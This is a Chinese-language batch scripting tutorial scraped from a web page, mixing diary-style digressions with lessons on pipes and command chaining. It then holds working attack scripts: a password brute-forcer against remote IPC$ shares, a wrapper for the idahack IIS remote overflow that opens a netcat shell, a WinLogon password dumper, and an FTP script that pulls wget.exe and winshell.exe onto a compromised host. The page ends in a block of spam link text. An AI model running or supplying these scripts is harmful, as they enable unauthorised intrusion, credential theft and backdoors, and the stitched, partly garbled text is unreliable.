沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂著。

不 得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關(guān)系),學好DOS命令是學好批處理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令,在批處理里的應(yīng)用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處 理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的,這已經(jīng)超出了本文的范疇,在此就不贅述 了。

不知不覺中第三章已經(jīng)結(jié)束了。耳麥里傳來的依然是陳曉東的《比我幸福》,每隔4分32秒就自動重播。雖然我不并不很喜歡陳曉東, 可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的 追逐/請記得你要比我幸福/才值得我對自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。我如同一個因年老失色而拉不到客的老 妓女,絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū),用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己將要面對的未來。直到看見那些幸福依偎 在一起的情侶們,才突然間發(fā)現(xiàn)上帝的公平,和這種公平的殘忍。


可以說,批處理腳本中最重要的幾個命令我都沒有給出如echo 或if那樣比較詳細的介紹,原因我已經(jīng)說了,因為我也是個菜,我也不太懂----但我正在學!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS 批文件》的東東,藏在一個角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎(chǔ)的東西,雖然從思路上講,已經(jīng)有點 time out了,很多東西已經(jīng)基本沒有利用的價值(這就是信息時代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個 不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅信,沒有最好只有更好。

但是很可惜,等到下午再去的時候,圖書館樓梯口已經(jīng)立了一個牌 子,上面寫著out of service----人家這學期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時又得到一個“振奮人心”的消息:期末考試有一科掛了,而且是全班 第一----這一門整個班里就掛了我一個。郁悶的情緒剎那間涌上心頭,整個世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關(guān)門,學校里的人越來越少,迎面過 來的幾個同學也都一身行李,忙碌著準備回家過年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領(lǐng)了心里每一個角落。迎著一月的冷風我一個 人在天橋上發(fā)呆,還能怎么樣,連期末考試都應(yīng)付不了的失敗男人。

“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,將詳細介紹批 處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的復雜而不完美,所以 我認為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:|、>、>>

11、|

這 個命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應(yīng)該知道,當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示不完時DOS并不給我們時間讓 我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就會看到當前DOS版本所支持的所有非隱含命令,但你只 能看到最后的那些命令,前面的早就一閃而過了,如何解決這個問題 @蠢 ?br>
help | more

回車后會發(fā)現(xiàn)顯示滿一屏幕后就自動暫停,等候繼續(xù)顯示其他信息。當按寫回車時,變成一個一個的出現(xiàn);按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。

為什么會出現(xiàn)上述現(xiàn)象?答案很簡單,這里結(jié)合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

11.1、 help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結(jié)果是讓DOS顯示其所 支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。

11.2、more命 令。可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在 DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的部分。在例十三 里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的 輸出當后一命令的輸入來用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個結(jié)果剛好做了后一命令 more的輸入。所以例十三和下面的例十四是等效的:

help > a.txt
more a.txt
del a.txt

這里利用另一管道命令>生成了一個a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進行的,不生成文件)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。

結(jié)合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做后一命令的輸入。

12、>、>>

這 兩個命令的效果從本質(zhì)上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區(qū)別是, >會清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會另起一行追加新的內(nèi)容到原文件中,而不會改動其中的原有內(nèi)容。例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,里面的內(nèi)容如下:

@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit

看 到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和 >>的區(qū)別如上所述。如果這里只用>命令來完成上面操作,最后也會生成一個a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以 >和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)合例一再仔細體會輸出重定向管道命令>和 >>的用法。

13、<、>&、<&

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。

關(guān)于這三個管道命令的舉例,在后面批處理腳本的精妙應(yīng)用中還將涉及到。


下面介紹組合命令:&、&&、||

組 合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現(xiàn)在已經(jīng)成了 一個文件了,那么這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數(shù)目。組合命令的作用,就如同給愛人陪不是,說一句是 說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本 里也一樣,有些時候某些命令是不能同時執(zhí)行的,后面給你說。

剛剛又送走了一個同學,人去樓空的感覺越來越明顯,望著空蕩蕩的床鋪,平日里 喧鬧的宿舍就只剩下我一個人了,整個世界只有那個平時令人非常討厭的老鼠這時候才顯得可愛起來----只有它會陪著我在這不敢開燈的漆黑夜里----一個 連期末考試都應(yīng)付不了的失敗男人。失敗!我感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我的手接收不到大腦的信號,簡直讓這篇未完成的教程夭 折。但我能怪誰?

忙碌了一學期要過年了卻掛了科,失敗;掛了科也倒罷了,竟然一個人拖全班的后退,失敗中的失敗;更失敗的,是在這最失落 的時候,竟然找不到一個人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什么明知道 那段情是一個旋渦卻還心甘情愿的往里面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了,我不要再一個人的時候苦苦等待;不再愛了,我不要 在你給的囚籠里憐憫的愛;不再愛了,我不要在別人的視線里如此可笑;不再愛,我不再愛。就算塌下來,我也要一個人扛著,頭不能低腰不能彎,不能喘息不能傾 訴,因為雖然失敗,但還是男人,是男人就不能向困難低頭!

14、&

這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:

copy a.txt b.txt /y & del a.txt

其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。


15、&&

切 記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前后兩個命令組合起來當一個命令 來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個命令時會自動判斷是否有某個命令執(zhí)行出錯,一旦發(fā)現(xiàn)出錯后將不繼續(xù)執(zhí)行后面剩下 的命令。這就為我們自動化完成一些任務(wù)提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:/backup/www

如果遠程主機存在user.mdb,則copy到本地e:/backup/www,如果不存在當然就不執(zhí)行copy了。這句對搞網(wǎng)管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:/backup/www

至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執(zhí)行效率更高,所以不知道用哪個更好,呵呵。

你 是否還記得“有些命令是不能同時執(zhí)行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如 何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執(zhí)行兩個dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:

dir c:/ && dir d:/ > a.txt

仔 細研究一下這句執(zhí)行后的結(jié)果,看看是否能達到題目的要求!錯了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和 >命令不能同時出現(xiàn)一個句子里(批處理把一行看成一個句子)!!組合命令&&的優(yōu)先級沒有管道命令>的優(yōu)先級高(自己總結(jié) 的,不妥的地方請指正)!所以這句在執(zhí)行時將本分成這兩部分:dir c:/和dir d:/ > a.txt,而并不是如你想的這兩部分:dir c:/ && dir d:/和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:

dir c:/ > a.txt && dir d:/ >> a.txt

這樣,依據(jù)優(yōu)先級高低,DOS將把這句話分成以下兩部分:dir c:/ > a.txt和dir d:/ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。

當然這里還可以利用&命令(自己想一下道理哦):

dir c:/ > a.txt & dir d:/ >> a.txt

16、||

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時,當遇到一個執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:

@echo off
dir s*.exe || exit

其 實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!為什么?因 為如果不存在那個.exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢 @蠢 ?br>
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

這樣執(zhí)行的結(jié)果,就能達到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當然是讓你能看到echo輸出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。

給出兩個更好研究優(yōu)先級(同時也是更難理解)的腳本,仔細研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級順序,對以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護人負責,與本人和本論壇無關(guān)。特此警告!

有 關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬別小看了這幾個鬼命令,大棒槌是 我的說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點不剩的交給你了,希望你好好收藏并消化吸收,當然有錯誤被 你發(fā)現(xiàn)了,或者不完整的地方被你看出來了,請趕緊告訴我一聲!

這幾個命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡 明批處理教程”,雖然說的比較全面,但看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當然這一點上我不能說人家什么,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊表等方面根本沒有介紹。我之所以花整整一章來講管道命令和組合命 令,是因為他們才是批處理的精華和靈魂,能否正確利用好這幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角 度出發(fā)專門有針對性的學習,但有關(guān)這幾個命令的問題,卻是不容易精通掌握的----他們之間的關(guān)系太復雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機 用戶名
密碼破解出來之后,存放于c:/pass.txt文件里面。
將下列代碼存為pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:/pass.txt
echo ------------------------------------------------------------------- >>c:/pass.txt
date /t >>c:/pass.txt
time /t >>c:/pass.txt
echo 破解結(jié)果: >>c:/pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use //%1/ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠程主機:"%1" >>c:/pass.txt
echo 用 戶:"%3" >>c:/pass.txt
echo 密 碼:%2 >>c:/pass.txt
net use //%1/ipc$ /delet
exit
:answer2

For
對一組文件中的每個文件運行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令,請使用以下語法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,請使用以下語法:

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代 表可替換的參數(shù)。for 命令使用在 set 中指定的每個文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。

(set)

指定要用指定的命令處理的一個或多個文件或文本字符串。需要括號。

command

指定要在指定的 set 所包含的每個文件上執(zhí)行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。

如果啟用了命令擴展(Windows 2000 中的默認設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴展,將支持如下 for 命令的其他格式:

只限于目錄

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。

遞歸

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

進入根目錄樹[drive:]path,在樹的每個目錄中執(zhí)行 for 語句。如果在 /R 后沒有指定目錄,則假定為當前目錄。如果 set 只是一個句號 (.) 字符,則只列舉目錄樹。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步長量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5 4 3 2 1)。



BAT文件技巧


文章結(jié)構(gòu)
1. 所有內(nèi)置命令的幫助信息
2. 環(huán)境變量的概念
3. 內(nèi)置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat


######################################################################
1. 所有內(nèi)置命令的幫助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 環(huán)境變量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________

path: 表示可執(zhí)行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%system32. 這個目錄里面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%system32.
使用點(.) 便于一目了然
對環(huán)境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統(tǒng)目錄
%errorlevel% 退出代碼

輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.

對有空格的參數(shù). 你應(yīng)該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:>dir p*
C: 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1 個文件 2,164 字節(jié)
1 個目錄 1,505,997,824 可用字節(jié)

C:>cd pro*
C:Program Files>

C:>
C:>cd "Program Files"
C:Program Files>


######################################################################
3. 內(nèi)置的特殊符號(實際使用中間注意避開)
######################################################################
微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用
con nul aux / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作為前導字符表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創(chuàng)建一個文件
>> 追加到一個文件后面
@ 前綴字符.表示執(zhí)行時本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示
^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號.
; 注釋,表示后面為注釋
: 標號作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執(zhí)行多條命令,而不管命令是否執(zhí)行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執(zhí)行出錯的命令后將不執(zhí)行后面的命令,如果一直沒有出錯則一直執(zhí)行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;

常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數(shù).
eol=c - 指一個行注釋字符的結(jié)尾(就一個)
skip=n - 指在文件開始時忽略的行數(shù)。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。


######################################################################
4. 簡單批處理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創(chuàng)建 a.txt

netstat -n | find "3389"
這個將要列出所有連接3389的用戶的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應(yīng)該是很簡單的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我們再來第二個文件.就是得到administrator的口令.
大多數(shù)人說得不到.其實是自己的沒有輸入正確的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END________________________________________

還有一個就是已經(jīng)通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全睝@獎?Ctrl+V過去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的批处理精华教程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

在线观看日韩精品 | 在线播放视频一区 | 91网在线观看 | 夜夜骑天天操 | 精品久久久久久亚洲 | www国产在线| 五月天久久综合网 | 五月婷婷开心中文字幕 | 五月天色站| 精品国偷自产在线 | 亚洲人在线 | 一区二区三区免费在线观看视频 | 亚洲精品一区二区18漫画 | 在线播放 一区 | 久久综合成人网 | 免费亚洲一区二区 | 色成人亚洲 | 在线观看网站你懂的 | 国产男女免费完整视频 | 在线中文字幕播放 | 亚洲综合婷婷 | 2019免费中文字幕 | 激情丁香婷婷 | 免费a v观看 | 91九色国产| 国产91学生粉嫩喷水 | 天天拍天天爽 | 国产精品一区在线观看你懂的 | 一区二区三区日韩精品 | 欧美a级免费视频 | 欧美在线日韩在线 | 亚洲区另类春色综合小说 | 国产精品高潮呻吟久久av无 | 天天操天天射天天爽 | 国产黄色免费 | 国语精品免费视频 | 五月天综合 | 9幺看片| 天堂中文在线视频 | 开心色插| 91丨九色丨蝌蚪丨老版 | 婷婷丁香社区 | 亚洲精品乱码久久久久久写真 | 久久99视频免费观看 | 亚洲天堂网在线播放 | 色婷在线 | av 一区二区三区四区 | 日韩美女免费线视频 | 九九热精品视频在线播放 | 狠狠色丁香婷婷综合久久片 | 一区二区久久 | 99婷婷 | 色a4yy| 亚洲成av人片一区二区梦乃 | 国产精品视频一二三 | 香蕉视频在线免费 | 人人澡超碰碰97碰碰碰软件 | 成人av电影在线 | 999热线在线观看 | av电影在线免费 | 亚洲爱视频 | 九九热久久久 | 91久久国产露脸精品国产闺蜜 | 西西4444www大胆视频 | 一区二区三区免费在线 | 欧美另类重口 | 久久久久久久久久久国产精品 | 99精品久久精品一区二区 | 亚洲国产精品va在线 | 天天操天天干天天插 | 日韩黄色免费在线观看 | 国产精品久久久久9999吃药 | 日本中文字幕在线电影 | 色网站在线免费观看 | 激情电影影院 | 天堂va在线高清一区 | 最新色站 | 欧美综合在线视频 | 九九99| 午夜精品一区二区三区在线观看 | 日韩欧美亚洲 | av在线免费在线 | 中文字幕免 | 国产无遮挡又黄又爽在线观看 | 中文欧美字幕免费 | 24小时日本在线www免费的 | 99视频免费播放 | 99精品国产99久久久久久97 | 91视频com| 亚洲成a人片在线观看中文 中文字幕在线视频第一页 狠狠色丁香婷婷综合 | a在线观看免费视频 | a在线免费观看视频 | 亚洲国产影院av久久久久 | 在线看片中文字幕 | av大片免费看 | 激情视频一区二区 | 99视频精品免费视频 | 高清日韩一区二区 | 亚洲精品视频国产 | 久久久国产精华液 | 国产精品亚洲a | 免费黄在线看 | 成人资源网 | 久久国内免费视频 | 日韩精品一区二区不卡 | 美国三级黄色大片 | 久久久免费精品国产一区二区 | 精品在线视频一区二区三区 | 国产高清在线观看 | 国产在线播放不卡 | av中文字幕在线播放 | 欧亚日韩精品一区二区在线 | 五月天久久精品 | 在线视频日韩 | 中文字幕在线视频第一页 | 色综合天天 | 色综合久久66 | 一区三区视频在线观看 | 欧美日韩精品在线视频 | 欧美有色| 爱色av.com | 亚洲精品在线免费看 | 欧美日韩视频一区二区三区 | 人人爱人人做人人爽 | 欧美 日韩精品 | 色婷婷精品大在线视频 | 黄色国产区 | 午夜在线观看 | 97精品国产手机 | 二区三区在线观看 | 亚洲欧美国产日韩在线观看 | 日韩二区在线播放 | 天天干天天做天天爱 | 国产成人久久久77777 | 国产一二三四在线观看视频 | 在线精品观看国产 | 国产精品二区在线 | 999久久| 久久久久久伊人 | 国产福利精品一区二区 | 国产91全国探花系列在线播放 | 99热这里只有精品久久 | 国产一区麻豆 | 亚洲国产剧情av | 